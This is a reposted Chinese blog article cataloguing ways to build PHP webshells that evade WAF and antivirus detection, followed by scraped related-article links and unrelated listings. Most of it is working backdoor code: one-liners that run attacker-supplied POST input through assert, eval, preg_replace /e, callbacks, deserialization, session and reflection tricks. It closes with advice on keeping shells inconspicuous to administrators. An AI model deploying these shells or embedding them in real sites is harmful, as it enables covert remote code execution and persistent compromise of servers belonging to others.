转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/

 

前言:
    本文几乎涵盖了市面上所有已知的webshell免杀手段,自己也很清楚,有些东西一旦公布出去,基本就活不太久了,但好在技巧是死的,人是活的,基于前人的优秀经验基础上所衍生出来的更加刁钻诡异的思路才是最珍贵的,始终坚信,对抗是持续的,shell也是永远杀不完的…

0x01 首先就是基于各类最常规的命令和代码执行函数的花样变形如,拆分重组,动态执行,以此来躲避静态特征检测,不过像有些高危函数默认就会被运维们禁掉,甚至高版本的php默认已经不让执行系统命令[如,php7],万一再开了安全模式,就更费劲了

php中一些常见的执行类型函数:

1
2
3
4
5
6
7
system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...
1
<?php $_POST['fun']($_REQUEST['req']);?>

1
<?php $req = "a"."s"."s"."e"."r"."t";$req($_POST["klion"]); ?>

1
<?php $cmd = `$_POST[ch]`;echo "<pre>$cmd</pre>";?>

1
<?php $arr = array("a"=>"$_POST[fun]");$a = "${ $arr["a"]( $_POST[code])}"; ?>

1
2
3
4
5
6
<?php
$XKs1u='as';$Rqoaou='e';
$ygDOEJ=$XKs1u.'s'.$Rqoaou.'r'.'t';
$joEDdb ='b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;
@$ygDOEJ(@$joEDdb($_POST[nihao]));
?>

0x02 利用各类编码来消除静态特征,以此来扰乱waf识别流量,说实话这种还是相对比较容易被检测到

利用base64编码,这种编码可能是各类webshell中用的最频繁的一种,如,weevely中默认就是用的base64,所以免杀性相对较好,另外还有诸如各类免杀大马,过waf菜刀等等……

1
<?php $a = @base64_decode($a=$_POST['fun']);$a($_POST['code']);?>

利用rot13编码,也用的比较频繁,关于各类编码的内部工作细节,请仔细阅读开发手册

1
<?php $a=str_rot13('nffreg');$a($_POST['req']);?>

1
<?php ($req = $_POST['req']) && @preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>

利用url编码以及自定义加解密实现的免杀,其实也有点儿类似编码,因为是自己设置的加密,所以只有通信的双方知道,这样一来waf就很难在未解密数据中识别出webshell特征,不过人眼还是很容易就看出来的

1
不实用

利用ASCII码转换,消除特征,如chr…比较简单,也比较原始,这里就不多说了,实战也不推荐用,肉眼扫一下就看出来了

1
不实用

利用 xor [^ 异或] ~[取反] 注入此类的位运算,实战中依然不推荐,只要是个正常人基本都能看出来这是啥,实际中记得先把下面的url编码解码过来,务必注意两个特殊字符要用双引号包起来,hackbar上面框中的参数可以不用,只要POST里的参数传对了就行

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

数组特性,这个就更不推荐了,看似花哨,但正常的项目代码中是根本不可能出现这些东西的,很明显,这无疑是在故意告诉别人,你来了,那,这就是我的webshell,请删除,如果单单只是想免杀,回调和反序列也许会更好,相对比价隐蔽,完全不用这么招摇过市的搞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[req]); // ASSERT($_POST[_]);

0x03 利用一些特殊的web服务器及脚本自身配置来bypass waf

1
2
3
利用短格式来实现免杀,前提需要目标的php配置已经事先开启短格式支持[php.ini有对应的开关],不过一般默认都是没开的,确实比较鸡肋,不实用
short_open_tag = On
<?=`$_GET[m]`;

0x04 利用各种脚本语言自身的语言特性灵活隐匿webshell,个人非常推荐的方式,扩展空间也非常的大,较适合用于实战:

1
2
3
具有回调特性的函数其实还有非常多,这里只是简单地列出了一部分,可挖掘的潜力还比较大,大家可对着手册自行深入研究
利用回调的好处除了免杀之外,还有就是,可以很方便我们`直接把自己的shell插到目标的正常脚本代码中`,让其变得更加难以追踪
关于webshell隐藏的更多内容,这里就不细说了,有兴趣大家可以直接去参考博客`webshell隐藏`相关文章,记得很久之前就总结了一篇
1
<?php $a = create_function('', @$_REQUEST['req']);$a();?>

1
<?php $ah = $_POST['ah'];$arr = array($_POST['cmd']);array_filter($arr,base64_decode($ah));?>

1
<?php $fun = $_REQUEST['fun'];$arr = array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?>

1
<?php $arr = new ArrayObject(array('xlion', $_REQUEST['req']));$arr->uasort(base64_decode($_POST['fun']));?>

1
2
3
4
5
6
<?php
$fun = base64_decode($_REQUEST['fun']);
$arr = array(base64_decode($_POST['code']));
$arr2 = array(1);
array_udiff($arr,$arr2,$fun);
?>

1
<?php mb_ereg_replace('.*', $_REQUEST['req'], '', 'e');?>

1
<?php $fun = $_REQUEST['fun'];register_shutdown_function($fun,$_REQUEST['req']);?>

1
<?php echo preg_filter('|.*|e',$_REQUEST['req'],'')?>

利用序列化与反序列化免杀,简单来讲原理类似反序列化漏洞,因为成员变量可控,在析构的时造成的代码执行:

1
2
3
4
5
6
7
8
9
10
<?php
class shell{
public $code="tmpdata";
function __destruct()
{
assert($this->code);
}
}
$ser = $_GET['serdata'];
unserialize($ser);

序列化后的数据

1
2
3
4
5
6
7
<?php
class shell{
public $code="phpinfo();";
}
$reload = new shell;
$res = serialize($reload);
echo $res;

编码配合动态函数:

1
2
3
4
5
6
<?php
$fun = base64_decode($_POST[fun]);
$code = base64_decode($_POST[code]);
$arr = array("a"=>$fun);
$a = "${ $arr['a']($code)}";
?>

利用包含特性,也是一种相对比较原始的waf bypass方式:

1
<?php include './include_shell.txt'?>

利用session机制免杀:

1
2
3
4
<?php
session_start();$_SESSION['cmd'] = trim($_POST['code']);
echo preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))','a');
?>

利用php反射特性免杀

1
<?php $func = new ReflectionFunction(base64_decode($_POST[m]));echo $func->invokeArgs(array(base64_decode($_POST[c])));?>

0x05 后话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
上面的给出的这些shell,正常来讲,应该都不会活很久,可能有些早已经死了,不得不说的是,像各种编码函数它本身就是敏感特征
因为自己目前还在外地,完整环境也不在身边,就没有一一给大家进行实际的免杀测试了,不过这也并不是目的
这次主要还想跟大家好好梳理一些可以用来免杀的优良特性,大家可以再单独针对这些特性去做深入研究,达到灵活变通才是最终目的
实战中,假设某一个特性不行,不妨同时几个特性配合着一起来,往往会有不错的效果
说实话,如果不针对这些带有特殊特性的函数下手,只是简单的见招拆招,基于此思路衍生出来的shell,现阶段的waf是很难做到主动识别的
当然,等量子或光子计算机及机器学习真正普及的时候,`识别`应该就不是问题了,所以,大家暂可不必担心这些shell被杀,核心还是灵活掌握这些最基本的免杀特性
没事儿的话,还是非常建议大家多去翻翻php的开发手册,里面还有很多没被发觉出来的宝贝,也期待能和大家一起多交流
如果真的是深刻理会了,像什么过waf菜刀自然就很容易理解了,其实现在看来还是蛮简单的
自己拿wireshark跑跑POST包就能看到的很清楚了,然后再针对杀的点逆向一下即可
其实,随着php快速的升级迭代,有些特性可能并不能适用于所有php版本,这也再正常不过
以前的虽然是没有了肯定还会有更好的替代品,还是那句话,思路比任何东西都要重要
可能大家也发现了,这次基本全部都是在说php,并没有涉及到asp,jsp,aspx,java不过其中有些脚本特性都是相通的,大家触类旁通就好了
实际使用中建议不要用的过于花哨,没错,也许你确实是躲避了waf,但却没能逃过运维大叔们的法眼,所以,越不显眼,代码越正常,长度越短越好
当然啦,方法肯定不止这么点儿,也期待能和大家一起多交流
始终坚信,授人以鱼不如授人以渔,^_^ 未完,待续……
 
 

全方位构造免杀 webshell 小结[一]的更多相关文章

  1. 分析一个免杀webshell发现的php特性

    文章首发于t00ls,嫌文章太啰嗦的可以直接看结论 起源 之前看到别人分享的一个免杀webshell: <?php @$GLOBALS{next} = $GLOBALS[$GLOBALS[fun ...

  2. 【转】PHP利用Apache、Nginx的特性实现免杀Webshell

    转载备忘: get_defined_vars().getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell. 前几天看到的,一直忘记写,填坑. 环境 函数 用法 ...

  3. 浅析JAVA Runtime原理与过各大厂商免杀webshell制作

    Author:Sevck Date:2017年6月24日 昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用ba ...

  4. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  5. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  6. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

  7. Webshell免杀研究

    前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...

  8. JSP Webshell免杀设计

    JSP Webshell免杀设计 @author:drag0nf1y 介绍 什么是Webshell? 被服务端解析执行的php.jsp文件 什么是RCE? remote command execute ...

  9. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

随机推荐

  1. 2V升3V芯片,输入2V输出3V可达1A

    PW5328B是一个恒定频率, 6引脚 SOT23电流模式升压转换器,用于小型低功耗应用. PW5328B的开关频率为 1.2MHz,允许使用微小的.低成本的电容器和电感器.内部软启动导致小涌流和延长 ...

  2. 1V升3V芯片,1V升3.3V芯片,大电流的,低功耗

    一般来说,1V的电压实在很低了,即使是干电池的话,再1V时,也是基本属于没电状态了.还有一种是干电池输出电流大时,也会把干电池的电压从1.5V拉低到1V左右. 更多的是客户对于1V时要能升到3V或者3 ...

  3. 别再问我们用什么画图的了!问就是excalidraw

    每次发 https://github.com/tal-tech/go-zero 相关文章时,都会有读者问我们用什么画图的. 这图什么工具画的呀?好看! 这个手绘风格真好看,用啥工具画的呀? 可不可以介 ...

  4. Py变量,递归,作用域,匿名函数

    局部变量与全局变量 全局变量:全局生效的变量,在顶头的,无缩进的定义的变量. 局部变量:函数内生效的变量,在函数内定义的变量. name='1fh' def changename(): name='s ...

  5. Linux下nf_conntrack(最全面)_董明磊-CSDN博客_nf_conntrack https://blog.csdn.net/qq_35299863/article/details/79530732

    Linux下nf_conntrack(最全面)_董明磊-CSDN博客_nf_conntrack https://blog.csdn.net/qq_35299863/article/details/79 ...

  6. QT串口助手(四):数据发送

    作者:zzssdd2 E-mail:zzssdd2@foxmail.com 一.前言 开发环境:Qt5.12.10 + MinGW 实现的功能 串口数据的发送 ascii字符与hex字符的相互转换 自 ...

  7. 【wp】HWS计划2021硬件安全冬令营线上选拔赛

    逆向手在夹缝中艰难求生系列. 这篇真的存粹是做题笔记了,对内核驱动啥的不太懂,pwn也不会,能做出来的题都是硬逆出来的( childre最后死活没整出来,后来看大佬的wp才知道对子进程有修改(.)呜呜 ...

  8. HttpClient之基本使用

    1.HttpClient简介 http协议可以说是现在Internet上面最重要,使用最多的协议之一了,越来越多的java应用需要使用http协议来访问网络资源,特别是现在rest api的流行,Ht ...

  9. Mac变卡顿,优化性能

    当调整窗口大小,同时按住"Option"键,可以从中央调整大小 同时按住"Shift"键时,可以按比例调整大小.同时按住这两个键,那么既成比例,又从中央调整大小 ...

  10. vmware安装linux系统,自动建立没选项

    虚拟机安装CentOS自己跳过分区,直接就到最后的软件包安装了 建完系统后不用power on,建完后在edit一下系统参数,应该会看见两个cd, 有一个是vmware自己加的,把那个删除后在开机就可 ...